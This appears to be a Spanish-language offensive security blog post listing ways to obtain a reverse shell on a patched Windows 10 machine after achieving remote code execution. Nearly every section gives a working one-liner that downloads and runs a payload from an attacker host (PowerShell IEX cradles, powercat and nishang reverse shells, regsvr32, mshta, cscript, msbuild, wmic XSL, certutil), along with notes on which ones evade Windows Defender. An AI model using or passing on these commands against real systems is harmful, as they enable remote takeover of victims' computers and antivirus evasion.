Lo mas normal despúes de conseguir RCE a través de una aplicacion web, de un MSQL con xp_cmdshell u otros medios es intentar conseguir una shell.
En este post veremos un lista de comandos para conseguir shell en Windows con sus pruebas de concepto y la reacción que provoca esta ejecución en Windows Defender.

Nuestra máquina víctima será un Windows 10 actualizado con los ultimos parches y definiciones de Windows Defender

Powershell Bat en memoria

En este caso lo que crearemos será un bat con un launcher de Powershell que genera Empire



Una vez nuestro servidor este sirviendo el bat malicioso lo ejecutaremos en memoria segun se descarge el bat. Como vemos la ejecución será sin el Defender activado.


powershell -c "IEX((New-Object System.Net.WebClient).DownloadString('http://192.168.43.103:800/powershell.bat'))"

Obtenemos un agente de Empire con el que tendremos el control de la víctima.
Este tipo de ataque es detectado desde las ultimas actualizaciones asi que solo será efectivo en sistemas sin protección.


PowerCat en memoria

En este caso utilizaremos PowerCat un script de powershell que permite transmitir archivos y obtener shell en el objetivo.
Lo que haremos será hostear con un SimpleServer este script.



Ahora procederemos a descargar este archivo y ejecutarlo en memoria. Como vemos Windows Defender esta activado y aun asi conseguimos shell.


powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.43.103:800/powercat.ps1');powercat -c 192.168.43.103 -p 443 -e cmd"

Regsvr32

Esta tecnica permite ejecutar una dll maliciosa atraves de un archivo que nos genera Empire. Es una técnica antigua y muy conocida por los software de Antivirus.



Una vez nuestro archivo esta hosteado procederemos a ejecutar el comando con el que se ejecutará nuestro archivo malicioso y obtendremos un agente de Empire.


regsvr32 /s /n /u /i:http://192.168.43.103:800/launcher.sct scrobj.dll

Esta prueba fue realizada con Windows Defender deshabilitado ya que si lo habilitamos detectaria nuestro ataque.


HTA

Esta técnica se aprovecha de los archivos HTA, archivos de HTML con el que podemos conseguir ejecucion de javascript o Visual. Estos archivos pueden ser interpretados por la herramienta de Microsoft MSHTA.exe.
Lo que haremos será crear un archivo HTA malicioso con Unicorn e iniciar un servidor para hostear este archivo y finalmente iniciar la escucha para nuestro meterpreter.



Una vez preparado el ataque ejecutaremos el comando en la víctima y obtendremos un meterpreter. Como podemos ver esta técnica se salta el Windows Defender.


mshta.exe http://192.168.43.103/Launcher.hta

Cscript.exe

Cscript es una consola de scripts que puede interpretar scripts de vbs. Para inciar el ataque generaremos con Empire un archivo malicioso VBS y lo hostearemos para asi poder descargarlo en la máquina remota.



Ahora descargaremos el archivo en la carpeta temporal mediante powershell y lo ejecutaremos con cscript.exe.


powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.43.103/launcher.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""

Aqui debemos añadir que este ataque no es fileless es decir que tocamos el disco por lo que es facilmente detectable. Como vemos Windows Defender nos pilla.


MSbuild.exe

MSbuild es un compilador nativo de Microsoft. A traves de un build malicioso podemos conseguir una shell.
Utilizaremos nuestro archivo test.csproj y generaremos un shellcode de csharp con venom que incluiremos en nuestro archivo test.csproj. Este será hosteado para descargarlo en la máquina víctima.



Ahora descargaremos este archivo en la carpeta temporal con powershell y lo compilaremos con msbuild obteniendo asi meterpreter.


powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.43.103/test.csproj',\"$env:temp\test.csproj\");Start-Process %windir%\Microsoft.NET\Framework\v4.030319\msbuild.exe \"$env:temp\test.csproj\""

Como en el anterior metodo este tambien escribirá en disco por lo que los antivirus tienen la tarea mas facil. Windows Defender detecta esta técnica como maliciosa.


Powershell TCP shell

En esta técnica utilizaremos las shells de powershell de nishang.
Lo que haremos será hostear la funcion de la shell TCP para usarla en la máquina víctima, en este caso usaremos un smbserver de impacket.



Ahora cargaremos la función en memoria descargandola con powershell desde el smbserver y ejecutaremos la función con los parametros para asi obtener shell. Esta técnica se salta al Windows Defender


powershell -c "IEX((New-Object System.Net.WebClient).DownloadString('\\192.168.43.103\ironHackers\Invoke-PowerShellTCP.ps1'));Invoke-PowerShellTcp -Reverse -IpAddress 192.168.43.103 -Port 1234"

Wmic.exe

wmic es una herramienta de Microsoft que permite una consola interprete de wmic, también puede utilizar archivos xsl. Nuestra técnica se aprovechará del los archivos XSL creando uno malicioso.



Una vez hosteado nuestro archivo malicioso ejecutaremos de manera remota el comando que llamara a nuestro archivo del servidor. Con esto recibiriamos un agente de Empire.


wmic os get /format:"http://192.168.1.41/launcher.xsl"

Desde las ultimas actualizaciones de Windows, se ha logrado detectar este tipo de ataques por lo que no se saltará al Windows Defender


CertUtil.exe

Esta herramienta es tambien de Microsoft y se puede utilizar para descargar cetificados. Nosotros nos aprovecharemos de ella para subir a la máquina objetivo un exe malicioso creado mediante Shellter una herramienta de evasión de AV.
Primero debemos hostear nuestro exe.



Ahora nos descargaremos nuestro payload. El uso de certutil puede emitir un aviso leve de Windows Defender pero nuestra descarga se completará.



Como vemos nuestro arhivo sigue ahi y ejecutando obtendremos meterpreter saltandonos el Windows Defender

certutil.exe -urlcache -split -f http://192.168.1.41/plink.exe plink.exe & plink.exe

Herramientas:
Unicorn
Powercat
Empire(Hackplayers)
Shellter

Referencias:

¿Me ayudas a compatirlo?